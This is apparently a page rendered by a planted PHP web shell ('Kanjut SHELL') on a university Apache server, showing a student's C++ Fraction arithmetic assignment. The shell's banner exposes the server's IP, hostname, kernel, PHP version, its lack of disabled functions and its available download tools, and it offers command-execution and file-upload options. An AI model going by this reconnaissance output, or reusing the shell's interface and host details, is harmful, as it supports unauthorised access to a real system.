Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 18.223.195.127
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/drsparks/212/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/drsparks/212/Fraction.cpp
//      File Name:      Fraction.cpp
//
//      Class:          CS 212 Comp. Prog. II
//      Author:         Dale Sparks
//      Instructor:     Dr. Wang
//      Date:           March 2, 2009
//      Compile:        g++ Fraction.cpp -o F.out
//      Run:            ./F.out
//
//      Goal:   Provide different operations on a fraction. 
//              

#include <iostream>

using namespace std;

class Fraction			// num / den
{	int num, den;
public:
	// constructor 
	Fraction()
	{	num=0; den=1;	}
	Fraction(int n, int d)
	{	num=n; den=d;	}
	// transformer
	void Set(int n, int d)
	{	num=n; den=d;	}
	// observer
	Fraction operator* (Fraction other)
	{
		Fraction temp;
		temp.num = num * other.num;
		temp.den = den * other.den;
		return temp;
	}
        Fraction operator+ (Fraction other)
        {
                Fraction temp;
                temp.num = num * other.den + den * other.num;
                temp.den = den * other.den;
                return temp;
        }
        Fraction operator- (Fraction other)
        {
                Fraction temp;
                temp.num = num * other.den - den * other.num;
                temp.den = den * other.den;
                return temp;  
        }
        Fraction operator/ (Fraction other)
        {
                Fraction temp;
                temp.num = num * other.den;
                temp.den = den * other.num;
                return temp;
        }
	void Print() const
	{	cout << num << "/" << den;	}
};


int main()
{	int n, d;
	Fraction x, y, z;
	char dummy, op;
	
	cout << "Input x (n/d, -1/1 to quit): ";
	cin >> n >> dummy >> d;	
	while( n!=-1 && d!=1 )
	{
		// Set x = n/d?
		x.Set(n, d);
		cout << "Input y (n/d): ";
        	cin >> n >> dummy >> d;
        	// Set y = n/d?
        	y.Set(n, d);
		cout << "Operation? (+, -, *, /) ";
		cin >> op;
		cout << "\n\n";
		if( op == '*')
			z = x * y;
		else if ( op == '/')
			z = x / y;
		else if ( op == '+')
			z = x + y;
		else
			z = x - y;

		x.Print();	
		cout << " " << op << " ";	
        	y.Print();
        	cout << " = ";
                z.Print();
                cout << "\n";

		cout << "\n\n******************\nInput x (n/d, -1/1 to quit): ";
	        cin >> n >> dummy >> d; 
	}

	

	cout << "\n\nDone.\n\n";
	return 0;
}

Stv3n404 - 2023